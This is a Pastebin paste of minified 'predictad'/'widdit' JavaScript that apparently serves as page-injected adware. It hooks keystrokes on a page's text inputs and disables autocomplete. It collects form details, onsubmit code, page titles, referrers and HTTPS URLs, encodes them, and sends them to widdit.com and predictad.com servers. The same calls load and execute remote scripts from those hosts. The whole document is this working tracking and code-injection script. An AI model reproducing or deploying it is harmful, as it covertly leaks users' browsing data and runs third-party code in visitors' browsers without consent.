Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- predictad_ac_off = false;
- predictad_srch_detect_lb = true;
- predictad_auto_inj_when_less_then_min_input = true;
- predictad_auto_inj_then_min_input = 4;
- predictad_detection_script_timeout = 20000;
- var predictad_already_tried_detect_url = new Array();
- var predictad_isIE = (navigator.userAgent.indexOf('MSIE') > 0);
- var predictad_onlyOnIE = false;
- var widdit_lb_servers_cnt = 7;
- var widdit_log_no_box = false;
- predictad_hasInputQ = false;
- predictad_inputs_count = 0;
- predictad_caller_obj = null;
- predictad_append_scripts = new Array();
- predictad_append_scripts_timeout = new Array();
- predictad_possibleDetectionsURLs = new Array();
- predictad_onErrorDetectingURLs = new Array();
- var predictad_src_id = 1;
- var predictad_detect_retry_attempts = 2;
- var predictad_detect_current_attempt = 1;
- var predictad_detect_complete = false;
- var predictad_detect_complete_num = 0;
- predictad_has_addon = true;
- function predictad_warpOnKeyDown(f) {
- var a = f.onkeydown;
- f.onkeydown = function () {
- if (predictad_caller_obj == null) predictad_caller_obj = this;
- predictad_engage(1);
- if (a && (typeof a == 'function')) a()
- }
- }
- var predictDetectF = function () {
- function PscriptParseQuery(a) {
- if (!a) return false;
- var b = a.split(/[;&]/);
- var c = new Object();
- for (var i = 0; i < b.length; i++) {
- var d = b[i].split('=');
- if (!d || d.length != 2) continue;
- var e = unescape(d[0]);
- var f = unescape(d[1]);
- f = f.replace(/\+/g, ' ');
- c[e] = f
- }
- return c
- }
- var s = /(predictad|suggestme|acpro|enable)[a-z0-9._-]*\.js(\?.*)+$/;
- var t = document.getElementsByTagName('script');
- var u = t.length - 1;
- for (var v = 0; v < t.length; v++) {
- if (t[v].src.match(s)) {
- u = v;
- break
- }
- }
- var w = t[u];
- var y = w.src.replace(/^[^\?]+(\?)*/, '');
- var z = PscriptParseQuery(y);
- var A = '4831';
- var B = z['si'] || A;
- var C = z['iid'] || '';
- var D = z['tid'] || '';
- if (typeof predictad_working_site == "undefined") {
- predictad_working_site = B
- }
- predictad_iid = '';
- if (C != '') {
- predictad_iid += C
- }
- predictad_tid = '';
- if (D != '') {
- predictad_tid += D
- }
- function predictad_utf8encode(a) {
- if ('string' != typeof a) return '';
- a = a.replace(/\r\n/g, "\n");
- var b = "";
- for (var n = 0; n < a.length; n++) {
- var c = a.charCodeAt(n);
- if ('null' != typeof c) {
- if (c < 128) {
- b += String.fromCharCode(c)
- } else if ((c > 127) && (c < 2048)) {
- b += String.fromCharCode((c >> 6) | 192);
- b += String.fromCharCode((c & 63) | 128)
- } else {
- b += String.fromCharCode((c >> 12) | 224);
- b += String.fromCharCode(((c >> 6) & 63) | 128);
- b += String.fromCharCode((c & 63) | 128)
- }
- }
- }
- return b
- }
- var E = function (a) {
- var b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_*";
- var c = "",
- chr1, chr2, chr3, enc1, enc2, enc3, enc4, i = 0;
- do {
- chr1 = a.charCodeAt(i++);
- chr2 = a.charCodeAt(i++);
- chr3 = a.charCodeAt(i++);
- enc1 = chr1 >> 2;
- enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
- enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
- enc4 = chr3 & 63;
- if (isNaN(chr2)) {
- enc3 = enc4 = 64
- } else if (isNaN(chr3)) {
- enc4 = 64
- }
- c = c + b.charAt(enc1) + b.charAt(enc2) + b.charAt(enc3) + b.charAt(enc4)
- } while (i < a.length);
- return c
- };
- predictad_activate_detection = false;
- function predictad_detect_src() {
- var a = document.getElementsByTagName('input');
- if (a.length > 0) {
- var b = '';
- var c = '@';
- var d = '@';
- var e = '@';
- var f = '@';
- var g = '@';
- for (var i = 0; i < a.length; i++) {
- if (a[i] == null) continue;
- var h = a[i].getAttribute('name');
- var j = a[i].getAttribute('id');
- var k = a[i].getAttribute('type');
- var l = a[i].className;
- var m = a[i].getAttribute('value');
- var n = a[i].getAttribute('title');
- var o = a[i].getAttribute('autocomplete');
- if (k == null || k == '') k = 'text';
- if (k == 'search') k = 'text';
- var p = k.toLowerCase();
- if (p != 'text') {
- continue
- }
- if (j == null) {
- j = 'acpro_inp' + i;
- a[i].setAttribute('id', j)
- }
- if (h == null) h = j;
- if (n == null) n = '';
- if (o == null) o = '';
- predictad_activate_detection = true;
- var q = h.toLowerCase();
- var r = j.toLowerCase();
- if (p == 'text') {
- if (q.indexOf("email") >= 0 || q.indexOf("username") >= 0 || q.indexOf("password") >= 0 || r.indexOf("email") >= 0 || r.indexOf("username") >= 0 || r.indexOf("password") >= 0) {
- continue
- }
- predictad_inputs_count++;
- predictad_warpOnKeyDown(a[i]);
- if (predictad_ac_off) {
- if (o == '') a[i].setAttribute('autocomplete', 'off')
- } else {
- if (o == '' && (j == "q" || h == "q")) {
- predictad_hasInputQ = true;
- a[i].setAttribute('autocomplete', 'off')
- }
- }
- b += j + '|';
- if (h == j) {
- h = ''
- }
- c += h + '|';
- d += l + '|';
- e += m + '|';
- f += n + '|';
- g += o + '|'
- }
- }
- return b + c + d + e + f + g
- }
- return ''
- }
- function predictad_detect_frm() {
- var a = document.getElementsByTagName('form');
- if (a.length > 0) {
- var b = '';
- var c = '@';
- var d = '@';
- var e = '@';
- var f = '@';
- for (var i = 0; i < a.length; i++) {
- if (a[i] == null) continue;
- var g = a[i].getAttribute('name');
- var h = a[i].getAttribute('id');
- var j = a[i].getAttribute('method');
- var k = a[i].getAttribute('action');
- var l = a[i].getAttribute('onsubmit');
- if (g == null) g = '';
- if (h == null) h = '';
- if (j == null) j = 'get';
- if (k == null) k = '';
- if (l == null) {
- l = ''
- } else {
- if (typeof l == 'function') {
- l = l.toString();
- l = l.replace('\n', '');
- l = l.replace('\r', '');
- l = l.replace('function anonymous(){', '');
- l = l.substring(0, l.length - 1);
- l = l.replace(/^\s+|\s+$/g, "")
- }
- }
- b += h + '|';
- c += g + '|';
- d += j + '|';
- e += k + '|';
- f += l + '|'
- }
- return b + c + d + e + f + e
- }
- return ''
- }
- function predictad_detect_cse() {
- var a = '';
- var b = document.getElementById('googleSearchUnitIframe');
- a += ((b != null) ? '1' : '');
- a += '|' + ((typeof window.googleSearchIframeName != "undefined") ? googleSearchIframeName : '');
- a += '|' + ((typeof window.googleSearchFrameWidth != "undefined") ? googleSearchFrameWidth : '');
- a += '|' + ((typeof window.googleSearchDomain != "undefined") ? googleSearchDomain : '');
- return a
- }
- if (typeof suggestmeyes_loaded == 'undefined') {
- var F = 3;
- var G = z['sd'] || '';
- F += "__" + G;
- var H = '^';
- var I = predictad_detect_src();
- var J = predictad_detect_frm();
- var K = predictad_detect_cse();
- var L = false;
- if (I == '@@@@@' || I == '') {
- L = true;
- predictad_inputs_count = -1
- }
- var M = '';
- try {
- M = (("https:" == document.location.protocol) ? document.location.toString() : "")
- } catch (ex) {}
- if (M != '') {
- predictad_js = 'ssl';
- predictad_inputs_count = -1
- }
- var N = document.referrer;
- if (!N || N == "") {
- N = ""
- }
- predictad_input_data = (E(predictad_utf8encode(F + H + predictad_working_site + H + I + H + document.title + H + predictad_iid + H + predictad_tid + H + J + H + K + H + M + H + N)));
- if (predictad_input_data.length > 2000) {
- predictad_input_data = (E(predictad_utf8encode(F + H + predictad_working_site + H + I + H + document.title + H + predictad_iid + H + predictad_tid + H + '' + H + K + H + '' + H + N)))
- }
- if (predictad_input_data.length > 2000) {
- predictad_input_data = (E(predictad_utf8encode(F + H + predictad_working_site + H + I + H + document.title + H + predictad_iid + H + predictad_tid + H + '' + H + K + H + '' + H + '')))
- }
- if (predictad_auto_inj_when_less_then_min_input && predictad_inputs_count <= predictad_auto_inj_then_min_input) predictad_engage(0);
- if (predictad_hasInputQ) predictad_engage(0);
- if (widdit_log_no_box && L && M == '' && (typeof (predictad_prepare) == 'undefined')) {
- predictad_prepare = true;
- _ur = document.referrer;
- if (!_ur || _ur == "") {
- _ur = "/"
- }
- if (document.images) {
- preload_image_object = new Image();
- var x = Math.random();
- var O = x * 1000000000000000000;
- var P = '1';
- var Q = '1';
- var R = 'http://www.nodocumentlocation.com';
- if (document.location != null) {
- try {
- R = document.location.toString()
- } catch (ex) {}
- }
- var S = '12';
- rand_no = Math.random();
- rand_no = rand_no;
- if (rand_no < 0.50) {
- S = '16'
- }
- image_url = new Array();
- image_url[0] = "http://srchdetect" + S + ".predictad.com:81/?" + E(predictad_utf8encode(escape(R) + "|" + escape(_ur) + "|" + Q + "|" + P));
- var i = 0;
- for (i = 0; i < image_url.length; i++) {
- preload_image_object.src = image_url[i]
- }
- }
- }
- }
- }();
- function convertPVersionString(a) {
- var r = a.split('.');
- return parseInt(r[0]) * 100000 + parseInt(r[1]) * 1000 + parseInt(r[2])
- }
- function predictad_engage(a) {
- if (predictad_inputs_count <= 0) return;
- if (typeof (suggestmeyes_loaded) != 'undefined') return;
- if (window.top == window) {
- if (typeof Prototype != 'undefined') {
- try {
- REQ_PROTOTYPE = '1.4.0';
- if (convertPVersionString(Prototype.Version) < convertPVersionString(REQ_PROTOTYPE)) {
- return
- }
- } catch (e) {}
- }
- if (typeof suggestmeyes_loaded == 'undefined') {
- if (predictad_activate_detection) {
- predictad_dtc_subdomain = 'srchdetect';
- predictad_possibleDetectionsURLs = new Array();
- for (i = 0; i < widdit_lb_servers_cnt; i++) {
- var b = i + 1;
- predictad_possibleDetectionsURLs[i] = 'http://loading' + b + '.widdit.com/analyze/?' + predictad_input_data
- }
- predictad_onErrorDetectingURLs[0] = 'http://loading.retry.widdit.com/analyze/?' + predictad_input_data;
- if (typeof (predictad_js) == 'undefined' && typeof (predictad_ver) == 'undefined' && typeof (suggestmeyes_loaded) == 'undefined') {
- predictad_retry_loadjscssfile(predictad_possibleDetectionsURLs, 'js', 'head', predictad_detection_script_timeout);
- suggestmeyes_loaded = true
- }
- }
- }
- }
- }
- function predictad_pick_detect_url(a) {
- if (a.length == predictad_already_tried_detect_url.length) return a[0];
- var b = '';
- var c = 20;
- var d = '';
- var e = 0;
- while (b == '' && e < c) {
- rand_no = Math.floor(Math.random() * a.length);
- d = a[rand_no];
- if (predictad_already_tried_detect_url[d] == null) {
- b = d;
- predictad_already_tried_detect_url[d] = '1'
- }
- e++
- }
- if (e == c) {
- b = a[0]
- }
- return b
- }
- function predictad_clearJSTimeout(a) {
- if (predictad_append_scripts_timeout[a.src] != null) {
- clearTimeout(predictad_append_scripts_timeout[a.src]);
- predictad_append_scripts_timeout[a.src] = null
- }
- }
- function predictad_removeScriptSinceTimeout(a) {
- predictad_removejscssfile(a, "js");
- if (predictad_detect_current_attempt < predictad_detect_retry_attempts) {
- predictad_detect_current_attempt++;
- predictad_retry_loadjscssfile(predictad_onErrorDetectingURLs, 'js', 'head', predictad_detection_script_timeout)
- }
- }
- function predictad_removejscssfile(a, b) {
- try {
- var c = (b == "js") ? "script" : (b == "css") ? "link" : "none";
- var d = (b == "js") ? "src" : (b == "css") ? "href" : "none";
- var f = document.getElementsByTagName(c);
- for (var i = f.length; i >= 0; i--) {
- if (f[i] && f[i].getAttribute(d) != null && f[i].getAttribute(d).indexOf(a) != -1) {
- f[i].parentNode.removeChild(f[i])
- }
- }
- } catch (e) {}
- }
- function predictad_retry_loadjscssfile(a, b, c, d) {
- filename = predictad_pick_detect_url(a);
- if (predictad_detect_current_attempt > predictad_detect_retry_attempts) return;
- var e;
- if (d == null) d = 0;
- if (b == "js") {
- var f = document.createElement("script");
- f.setAttribute("type", "text/javascript");
- f.setAttribute("id", 'detect' + predictad_src_id);
- if (d != null && d > 0) {
- f.onreadystatechange = function () {
- if (!predictad_detect_complete && (!this.readyState || this.readyState === 'complete' || (this.readyState === 'loaded' && this.nextSibling != null))) {
- predictad_clearJSTimeout(this);
- predictad_detect_complete = true;
- predictad_detect_complete_num++;
- this.onreadystatechange = null;
- this.onload == null
- } else if (this.readyState === 'loaded' && this.nextSibling == null) {
- if (typeof predictor != 'undefined' || typeof predictad_gb != 'undefined') {
- predictad_detect_complete = true;
- predictad_clearJSTimeout(this);
- return
- }
- predictad_clearJSTimeout(this);
- this.onreadystatechange = null;
- this.onload == null;
- predictad_clearJSTimeout(this);
- predictad_detect_current_attempt++;
- predictad_retry_loadjscssfile(predictad_onErrorDetectingURLs, b, c, d);
- return
- }
- };
- f.onload = function () {
- this.onreadystatechange = null;
- this.onload == null;
- predictad_detect_complete = true;
- predictad_detect_complete_num++;
- predictad_clearJSTimeout(this)
- };
- f.onerror = function () {
- this.onreadystatechange = null;
- this.onload == null;
- predictad_clearJSTimeout(this);
- predictad_detect_current_attempt++;
- predictad_retry_loadjscssfile(predictad_onErrorDetectingURLs, b, c, d);
- return
- }
- }
- f.setAttribute("src", filename);
- e = f
- } else if (b == "css") {
- var f = document.createElement("link");
- f.setAttribute("rel", "stylesheet");
- f.setAttribute("type", "text/css");
- f.setAttribute("href", filename)
- }
- if (typeof f != "undefined") {
- if (c == "head") {
- document.getElementsByTagName("head")[0].appendChild(f)
- } else {
- document.getElementsByTagName("body")[0].appendChild(f)
- }
- }
- if (d != null && d > 0 && b == "js" && predictad_detect_current_attempt < predictad_detect_retry_attempts) {
- if ((predictad_onlyOnIE && predictad_isIE) || (!predictad_onlyOnIE)) {
- predictad_append_scripts_timeout[e.src] = window.setTimeout('predictad_removeScriptSinceTimeout("' + e.src + '");', d)
- }
- }
- }
- function predictad_loadjscssfile(a, b, c) {
- if (b == "js") {
- var d = document.createElement("script");
- d.setAttribute("type", "text/javascript");
- d.setAttribute("onload", "");
- d.setAttribute("onreadystatechange", "");
- d.setAttribute("onerror", "");
- d.setAttribute("src", a)
- } else if (b == "css") {
- var d = document.createElement("link");
- d.setAttribute("rel", "stylesheet");
- d.setAttribute("type", "text/css");
- d.setAttribute("href", a)
- }
- if (typeof d != "undefined") {
- if (c == "head") {
- document.getElementsByTagName("head")[0].appendChild(d)
- } else {
- document.getElementsByTagName("body")[0].appendChild(d)
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement